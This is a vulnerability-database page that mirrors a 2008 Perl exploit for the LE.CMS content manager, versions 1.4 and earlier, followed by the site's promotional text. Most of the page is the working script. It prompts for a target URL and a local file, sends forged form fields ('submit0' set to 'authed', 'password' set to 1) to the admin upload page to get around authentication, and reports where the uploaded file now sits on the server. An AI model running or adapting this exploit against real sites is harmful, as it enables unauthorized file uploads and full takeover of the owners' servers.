Lucene search
K

LE.CMS <= 1.4 - Remote Arbitrary File Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

LE.CMS Remote Arbitrary File Upload Exploi

Code

                                                #!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

print &#60;&#60;INTRO;
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
- LE.CMS &#60;= 1.4 Remote Arbitrary File Upload Exploit  -
-                                                     -
 -                                                   - 
  -        Discovered && Coded By: t0pP8uZz         -    
   -          Discovered On: 19 JUNE 2008          -
   -                                               -
  -     Script Download: http://worldlevel.com      -
 -   milw0rm.com, h4ck-y0u.org, CiperCrew, offsec    -
 -                                                   -
- LE.CMS suffers from a arbitrary file upload vuln..  -
- .. this exploit will upload any file to the server  -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
INTRO

print &#34;\nEnter Target URL(ie: http://site.com): &#34;;
    chomp(my $host=&#60;STDIN&#62;);
    
print &#34;\nEnter Local File Path To Upload(ie: C:\\file.txt): &#34;;
    chomp(my $file=&#60;STDIN&#62;);

my $ext   = substr $file, rindex $file, &#39;.&#39;;
my $fname = int rand 9999;
my $ua    = LWP::UserAgent-&#62;new( agent =&#62; &#39;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#39;, cookie_jar =&#62; {} );

my $re = $ua-&#62;request(POST $host . &#39;/cms/admin/upload.php&#39;,
                        Content_Type =&#62;   &#39;form-data&#39;,
                        Content      =&#62; [ &#39;submit0&#39;  =&#62; &#39;authed&#39;, # if script reads this as TRUE then the script thinks we have already authenticated the username/password, only 0 or undef is false
                                          &#39;submit&#39;   =&#62; 1, 
                                          &#39;password&#39; =&#62; 1, # as long as this is true we should be able to upload
                                          &#39;filename&#39; =&#62; $fname,
                                          &#39;upload&#39;   =&#62; [ $file ] ] );

die &#34;Exploit Failed, HTTP Request Failed!&#34; unless $re-&#62;is_success;

print &#34;File Uploaded! Location: &#34; . $host . &#34;/cms/images/&#34; . $fname . $ext . &#34;\n&#34;;
exit;

# milw0rm.com [2008-06-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation